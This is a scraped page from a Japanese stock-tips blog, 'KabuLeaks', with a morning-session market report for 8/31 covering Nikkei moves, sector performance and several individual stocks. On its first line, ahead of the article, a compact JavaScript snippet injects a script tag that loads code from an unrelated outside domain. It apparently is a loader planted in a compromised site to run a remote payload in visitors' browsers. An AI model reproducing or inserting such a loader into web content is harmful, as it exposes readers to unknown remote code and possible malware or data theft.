;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/31 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/31 前引け】

【5288】Jパイル 874円 +46 (+5.55%)

【9603】HIS 4,100円 -35 (-0.84%)

【1803】清水建設 +11 (+0.93%)

【8306】三菱UFJフィナンシャル・グループ 804円 -16.1 (-1.96%)

前場の日経平均株価は200円安と4日ぶり反落。寄り付き前に発表された7月鉱工業生産指数速報値が市場予測を下回る内容となったほか、週明けの上海総合指数の下落も重しに主力株中心に利益確定売り優勢。また、中国株の買い支えを止めるとの報道も一部悪材料視されている。業種別では、パルプ・紙、その他製品、金属製品、食料品、情報・通信業などが値上がり上位に、なお値上がりは7業種のみ。一方、保険業、機械、鉄鋼、不動産業などが値下がり上位となっている。

個別では、極薄フィルム温度センサ(仮称)の開発が28日に公表。これを好感して【6626】SEMITECがストップ高。遺伝子組換えカイコによるヒトラミニン511-E8フラグメント(ラミニン511-E8)の生産に成功、iPS細胞等の培養足場材として有効であるラミニン 511-E8を安価に製造する方法を確立したとの発表から【4570】免疫生物研究所もストップ高まで急伸したほか、韓国工場の生産能力を5割増強する」との日経報道が好感して【6619】ダブル・スコープが5日続伸。また、。SMBC日興証券が5,000円→5,900円、目標株価を大幅に引き上げた【2331】綜合警備保障やゴールドマン・サックスが目標株価を780円→760円へ小幅減額も、投資判断を「中立」→「買い」へ引き上げて【6702】富士通などが堅調に推移している。

後場は日銀によるETF買いも意識されそうだが、明日は8月の中国製造業PMIの発表が予定されているほか、週末には8月米雇用統計も控えており、これらを見極めの動き。やや手掛けづらい状況が後場も続く可能性が高い。